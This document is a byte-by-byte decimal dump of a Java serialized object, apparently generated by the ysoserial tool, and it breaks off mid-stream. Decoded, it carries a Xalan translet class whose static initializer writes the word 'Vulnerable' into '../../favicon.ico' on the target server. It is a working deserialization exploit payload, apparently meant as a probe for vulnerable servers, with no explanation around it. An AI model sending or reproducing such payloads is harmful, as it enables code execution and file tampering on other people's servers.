+ + + 120 + + + 112 + + + 0 + + + 0 + + + 8 + + + -82 + + + -54 + + + -2 + + + -70 + + + -66 + + + 0 + + + 0 + + + 0 + + + 50 + + + 0 + + + 99 + + + 10 + + + 0 + + + 3 + + + 0 + + + 34 + + + 7 + + + 0 + + + 97 + + + 7 + + + 0 + + + 37 + + + 7 + + + 0 + + + 38 + + + 1 + + + 0 + + + 16 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 86 + + + 101 + + + 114 + + + 115 + + + 105 + + + 111 + + + 110 + + + 85 + + + 73 + + + 68 + + + 1 + + + 0 + + + 1 + + + 74 + + + 1 + + + 0 + + + 13 + + + 67 + + + 111 + + + 110 + + + 115 + + + 116 + + + 97 + + + 110 + + + 116 + + + 86 + + + 97 + + + 108 + + + 117 + + + 101 + + + 5 + + + -83 + + + 32 + + + -109 + + + -13 + + + -111 + + + -35 + + + -17 + + + 62 + + + 1 + + + 0 + + + 6 + + + 60 + + + 105 + + + 110 + + + 105 + + + 116 + + + 62 + + + 1 + + + 0 + + + 3 + + + 40 + + + 41 + + + 86 + + + 1 + + + 0 + + + 4 + + + 67 + + + 111 + + + 100 + + + 101 + + + 1 + + + 0 + + + 15 + + + 76 + + + 105 + + + 110 + + + 101 + + + 78 + + + 117 + + + 109 + + + 98 + + + 101 + + + 114 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 18 + + + 76 + + + 111 + + + 99 + + + 97 + + + 108 + + + 86 + + + 97 + + + 114 + + + 105 + + + 97 + + + 98 + + + 108 + + + 101 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 4 + + + 116 + + + 104 + + + 105 + + + 115 + + + 1 + + + 0 + + + 19 + + + 83 + + + 116 + + + 117 + + + 98 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 80 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 1 + + + 0 + + + 12 + + + 73 + + + 110 + + + 110 + + + 101 + + + 114 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 101 + + + 115 + + + 1 + + + 0 + + + 53 + + + 76 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 83 + + + 116 + + + 117 + + + 98 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 80 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 59 + + + 1 + + + 0 + + + 9 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 102 + + + 111 + + + 114 + + + 109 + + + 1 + + + 0 + + + 114 + + + 40 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 68 + + + 79 + + + 77 + + + 59 + + + 91 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 41 + + + 86 + + + 1 + + + 0 + + + 8 + + + 100 + + + 111 + + + 99 + + + 117 + + + 109 + + + 101 + + + 110 + + + 116 + + + 1 + + + 0 + + + 45 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 68 + + + 79 + + + 77 + + + 59 + + + 1 + + + 0 + + + 8 + + + 104 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 115 + + + 1 + + + 0 + + + 66 + + + 91 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 1 + + + 0 + + + 10 + + + 69 + + + 120 + + + 99 + + + 101 + + + 112 + + + 116 + + + 105 + + + 111 + + + 110 + + + 115 + + + 7 + + + 0 + + + 39 + + + 1 + + + 0 + + + -90 + + + 40 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 68 + + + 79 + + + 77 + + + 59 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 100 + + + 116 + + + 109 + + + 47 + + + 68 + + + 84 + + + 77 + + + 65 + + + 120 + + + 105 + + + 115 + + + 73 + + + 116 + + + 101 + + + 114 + + + 97 + + + 116 + + + 111 + + + 114 + + + 59 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 41 + + + 86 + + + 1 + + + 0 + + + 8 + + + 105 + + + 116 + + + 101 + + + 114 + + + 97 + + + 116 + + + 111 + + + 114 + + + 1 + + + 0 + + + 53 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 100 + + + 116 + + + 109 + + + 47 + + + 68 + + + 84 + + + 77 + + + 65 + + + 120 + + + 105 + + + 115 + + + 73 + + + 116 + + + 101 + + + 114 + + + 97 + + + 116 + + + 111 + + + 114 + + + 59 + + + 1 + + + 0 + + + 7 + + + 104 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 1 + + + 0 + + + 65 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 1 + + + 0 + + + 10 + + + 83 + + + 111 + + + 117 + + + 114 + + + 99 + + + 101 + + + 70 + + + 105 + + + 108 + + + 101 + + + 1 + + + 0 + + + 12 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 46 + + + 106 + + + 97 + + + 118 + + + 97 + + + 12 + + + 0 + + + 10 + + + 0 + + + 11 + + + 7 + + + 0 + + + 40 + + + 1 + + + 0 + + + 51 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 83 + + + 116 + + + 117 + + + 98 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 80 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 1 + + + 0 + + + 64 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 114 + + + 117 + + + 110 + + + 116 + + + 105 + + + 109 + + + 101 + + + 47 + + + 65 + + + 98 + + + 115 + + + 116 + + + 114 + + + 97 + + + 99 + + + 116 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 1 + + + 0 + + + 20 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 57 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 69 + + + 120 + + + 99 + + + 101 + + + 112 + + + 116 + + + 105 + + + 111 + + + 110 + + + 1 + + + 0 + + + 31 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 1 + + + 0 + + + 8 + + + 60 + + + 99 + + + 108 + + + 105 + + + 110 + + + 105 + + + 116 + + + 62 + + + 1 + + + 0 + + + 18 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 70 + + + 105 + + + 108 + + + 101 + + + 87 + + + 114 + + + 105 + + + 116 + + + 101 + + + 114 + + + 7 + + + 0 + + + 42 + + + 1 + + + 0 + + + 22 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 66 + + + 117 + + + 102 + + + 102 + + + 101 + + + 114 + + + 7 + + + 0 + + + 44 + + + 10 + + + 0 + + + 45 + + + 0 + + + 34 + + + 1 + + + 0 + + + 16 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 84 + + + 104 + + + 114 + + + 101 + + + 97 + + + 100 + + + 7 + + + 0 + + + 47 + + + 1 + + + 0 + + + 13 + + + 99 + + + 117 + + + 114 + + + 114 + + + 101 + + + 110 + + + 116 + + + 84 + + + 104 + + + 114 + + + 101 + + + 97 + + + 100 + + + 1 + + + 0 + + + 20 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 84 + + + 104 + + + 114 + + + 101 + + + 97 + + + 100 + + + 59 + + + 12 + + + 0 + + + 49 + + + 0 + + + 50 + + + 10 + + + 0 + + + 48 + + + 0 + + + 51 + + + 1 + + + 0 + + + 21 + + + 103 + + + 101 + + + 116 + + + 67 + + + 111 + + + 110 + + + 116 + + + 101 + + + 120 + + + 116 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 76 + + + 111 + + + 97 + + + 100 + + + 101 + + + 114 + + + 1 + + + 0 + + + 25 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 76 + + + 111 + + + 97 + + + 100 + + + 101 + + + 114 + + + 59 + + + 12 + + + 0 + + + 53 + + + 0 + + + 54 + + + 10 + + + 0 + + + 48 + + + 0 + + + 55 + + + 1 + + + 0 + + + 1 + + + 47 + + + 8 + + + 0 + + + 57 + + + 1 + + + 0 + + + 21 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 76 + + + 111 + + + 97 + + + 100 + + + 101 + + + 114 + + + 7 + + + 0 + + + 59 + + + 1 + + + 0 + + + 11 + + + 103 + + + 101 + + + 116 + + + 82 + + + 101 + + + 115 + + + 111 + + + 117 + + + 114 + + + 99 + + + 101 + + + 1 + + + 0 + + + 34 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 110 + + + 101 + + + 116 + + + 47 + + + 85 + + + 82 + + + 76 + + + 59 + + + 12 + + + 0 + + + 61 + + + 0 + + + 62 + + + 10 + + + 0 + + + 60 + + + 0 + + + 63 + + + 1 + + + 0 + + + 12 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 110 + + + 101 + + + 116 + + + 47 + + + 85 + + + 82 + + + 76 + + + 7 + + + 0 + + + 65 + + + 1 + + + 0 + + + 7 + + + 103 + + + 101 + + + 116 + + + 80 + + + 97 + + + 116 + + + 104 + + + 1 + + + 0 + + + 20 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 12 + + + 0 + + + 67 + + + 0 + + + 68 + + + 10 + + + 0 + + + 66 + + + 0 + + + 69 + + + 1 + + + 0 + + + 6 + + + 97 + + + 112 + + + 112 + + + 101 + + + 110 + + + 100 + + + 1 + + + 0 + + + 44 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 66 + + + 117 + + + 102 + + + 102 + + + 101 + + + 114 + + + 59 + + + 12 + + + 0 + + + 71 + + + 0 + + + 72 + + + 10 + + + 0 + + + 45 + + + 0 + + + 73 + + + 1 + + + 0 + + + 17 + + + 46 + + + 46 + + + 47 + + + 46 + + + 46 + + + 47 + + + 102 + + + 97 + + + 118 + + + 105 + + + 99 + + + 111 + + + 110 + + + 46 + + + 105 + + + 99 + + + 111 + + + 8 + + + 0 + + + 75 + + + 1 + + + 0 + + + 8 + + + 116 + + + 111 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 12 + + + 0 + + + 77 + + + 0 + + + 68 + + + 10 + + + 0 + + + 45 + + + 0 + + + 78 + + + 1 + + + 0 + + + 21 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 86 + + + 12 + + + 0 + + + 10 + + + 0 + + + 80 + + + 10 + + + 0 + + + 43 + + + 0 + + + 81 + + + 1 + + + 0 + + + 16 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 7 + + + 0 + + + 83 + + + 1 + + + 0 + + + 10 + + + 86 + + + 117 + + + 108 + + + 110 + + + 101 + + + 114 + + + 97 + + + 98 + + + 108 + + + 101 + + + 8 + + + 0 + + + 85 + + + 10 + + + 0 + + + 84 + + + 0 + + + 81 + + + 1 + + + 0 + + + 14 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 87 + + + 114 + + + 105 + + + 116 + + + 101 + + + 114 + + + 7 + + + 0 + + + 88 + + + 1 + + + 0 + + + 42 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 67 + + + 104 + + + 97 + + + 114 + + + 83 + + + 101 + + + 113 + + + 117 + + + 101 + + + 110 + + + 99 + + + 101 + + + 59 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 87 + + + 114 + + + 105 + + + 116 + + + 101 + + + 114 + + + 59 + + + 12 + + + 0 + + + 71 + + + 0 + + + 90 + + + 10 + + + 0 + + + 89 + + + 0 + + + 91 + + + 1 + + + 0 + + + 5 + + + 102 + + + 108 + + + 117 + + + 115 + + + 104 + + + 12 + + + 0 + + + 93 + + + 0 + + + 11 + + + 10 + + + 0 + + + 89 + + + 0 + + + 94 + + + 1 + + + 0 + + + 13 + + + 83 + + + 116 + + + 97 + + + 99 + + + 107 + + + 77 + + + 97 + + + 112 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 30 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 80 + + + 119 + + + 110 + + + 101 + + + 114 + + + 51 + + + 57 + + + 56 + + + 52 + + + 50 + + + 51 + + + 48 + + + 50 + + + 48 + + + 50 + + + 52 + + + 51 + + + 53 + + + 48 + + + 51 + + + 1 + + + 0 + + + 32 + + + 76 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 80 + + + 119 + + + 110 + + + 101 + + + 114 + + + 51 + + + 57 + + + 56 + + + 52 + + + 50 + + + 51 + + + 48 + + + 50 + + + 48 + + + 50 + + + 52 + + + 51 + + + 53 + + + 48 + + + 51 + + + 59 + + + 0 + + + 33 + + + 0 + + + 2 + + + 0 + + + 3 + + + 0 + + + 1 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 5 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 7 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 8 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 10 + + + 0 + + + 11 + + + 0 + + + 1 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 47 + + + 0 + + + 1 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 42 + + + -73 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 41 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 12 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 0 + + + 15 + + + 0 + + + 98 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 19 + + + 0 + + + 20 + + + 0 + + + 2 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 63 + + + 0 + + + 0 + + + 0 + + + 3 + + + 0 + + + 0 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 46 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 32 + + + 0 + + + 3 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 15 + + + 0 + + + 98 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 21 + + + 0 + + + 22 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 23 + + + 0 + + + 24 + + + 0 + + + 2 + + + 0 + + + 25 + + + 0 + + + 0 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 1 + + + 0 + + + 19 + + + 0 + + + 27 + + + 0 + + + 2 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 73 + + + 0 + + + 0 + + + 0 + + + 4 + + + 0 + + + 0 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 50 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 42 + + + 0 + + + 4 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 15 + + + 0 + + + 98 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 21 + + + 0 + + + 22 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 28 + + + 0 + + + 29 + + + 0 + + + 2 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 30 + + + 0 + + + 31 + + + 0 + + + 3 + + + 0 + + + 25 + + + 0 + + + 0 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 8 + + + 0 + + + 41 + + + 0 + + + 11 + + + 0 + + + 1 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 81 + + + 0 + + + 6 + + + 0 + + + 2 + + + 0 + + + 0 + + + 0 + + + 60 + + + -89 + + + 0 + + + 3 + + + 1 + + + 76 + + + -69 + + + 0 + + + 43 + + + 89 + + + -69 + + + 0 + + + 45 + + + 89 + + + -73 + + + 0 + + + 46 + + + -72 + + + 0 + + + 52 + + + -74 + + + 0 + + + 56 + + + 18 + + + 58 + + + -74 + + + 0 + + + 64 + + + -74 + + + 0 + + + 70 + + + -74 + + + 0 + + + 74 + + + 18 + + + 76 + + + -74 + + + 0 + + + 74 + + + -74 + + + 0 + + + 79 + + + -73 + + + 0 + + + 82 + + + -69 + + + 0 + + + 84 + + + 89 + + + 18 + + + 86 + + + -73 + + + 0 + + + 87 + + + -74 + + + 0 + + + 92 + + + -74 + + + 0 + + + 95 + + + -79 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 96 + + + 0 + + + 0 + + + 0 + + + 3 + + + 0 + + + 1 + + + 3 + + + 0 + + + 2 + + + 0 + + + 32 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 33 + + + 0 + + + 17 + + + 0 + + + 0 + + + 0 + + + 10 + + + 0 + + + 1 + + + 0 + + + 2 + + + 0 + + + 35 + + + 0 + + + 16 + + + 0 + + + 9 + + + 117 + + + 113 + + + 0 + + + 126 + + + 0 + + + 11 + + + 0 + + + 0 + + + 1 + + + -44 + + + -54 + + + -2 + + + -70 + + + -66 + + + 0 + + + 0 + + + 0 + + + 50 + + + 0 + + + 27 + + + 10 + + + 0 + + + 3 + + + 0 + + + 21 + + + 7 + + + 0 + + + 23 + + + 7 + + + 0 + + + 24 + + + 7 + + + 0 + + + 25 + + + 1 + + + 0 + + + 16 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 86 + + + 101 + + + 114 + + + 115 + + + 105 + + + 111 + + + 110 + + + 85 + + + 73 + + + 68 + + + 1 + + + 0 + + + 1 + + + 74 + + + 1 + + + 0 + + + 13 + + + 67 + + + 111 + + + 110 + + + 115 + + + 116 + + + 97 + + + 110 + + + 116 + + + 86 + + + 97 + + + 108 + + + 117 + + + 101 + + + 5 + + + 113 + + + -26 + + + 105 + + + -18 + + + 60 + + + 109 + + + 71 + + + 24 + + + 1 + + + 0 + + + 6 + + + 60 + + + 105 + + + 110 + + + 105 + + + 116 + + + 62 + + + 1 + + + 0 + + + 3 + + + 40 + + + 41 + + + 86 + + + 1 + + + 0 + + + 4 + + + 67 + + + 111 + + + 100 + + + 101 + + + 1 + + + 0 + + + 15 + + + 76 + + + 105 + + + 110 + + + 101 + + + 78 + + + 117 + + + 109 + + + 98 + + + 101 + + + 114 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 18 + + + 76 + + + 111 + + + 99 + + + 97 + + + 108 + + + 86 + + + 97 + + + 114 + + + 105 + + + 97 + + + 98 + + + 108 + + + 101 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 4 + + + 116 + + + 104 + + + 105 + + + 115 + + + 1 + + + 0 + + + 3 + + + 70 + + + 111 + + + 111 + + + 1 + + + 0 + + + 12 + + + 73 + + + 110 + + + 110 + + + 101 + + + 114 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 101 + + + 115 + + + 1 + + + 0 + + + 37 + + + 76 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 70 + + + 111 + + + 111 + + + 59 + + + 1 + + + 0 + + + 10 + + + 83 + + + 111 + + + 117 + + + 114 + + + 99 + + + 101 + + + 70 + + + 105 + + + 108 + + + 101 + + + 1 + + + 0 + + + 12 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 46 + + + 106 + + + 97 + + + 118 + + + 97 + + + 12 + + + 0 + + + 10 + + + 0 + + + 11 + + + 7 + + + 0 + + + 26 + + + 1 + + + 0 + + + 35 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 